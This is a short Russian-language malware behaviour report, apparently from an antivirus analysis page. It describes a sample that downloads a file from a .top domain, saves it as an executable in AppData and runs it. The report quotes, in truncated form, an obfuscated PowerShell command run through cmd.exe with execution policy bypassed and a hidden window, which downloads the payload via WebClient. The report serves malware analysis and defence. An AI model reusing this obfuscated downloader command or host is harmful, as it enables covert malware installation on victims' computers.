Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^oW^erSH^e^Ll.^E^x^E ^-Exe^Cu^TI^on^Po^lIcy byPASs -^nOp^RoFIl^E^ -w^iNDow^S^TyLe hiD^D^E^N (New-^o^B^JEC^t ^sys^teM.NE^t^.^wEBclIeNT^).^D^ow^n^lOAD^Fi^L^e('http://newyeargoka.t...
Сетевая активность
UDP
- DNS ASK ne###argoka.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^oW^erSH^e^Ll.^E^x^E ^-Exe^Cu^TI^on^Po^lIcy byPASs -^nOp^RoFIl^E^ -w^iNDow^S^TyLe hiD^D^E^N (New-^o^B^JEC^t ^sys^teM.NE^t^.^wEBclIeNT^).^D^ow^n^lOAD^Fi^L^e('http://newyeargoka.t...' (со скрытым окном)
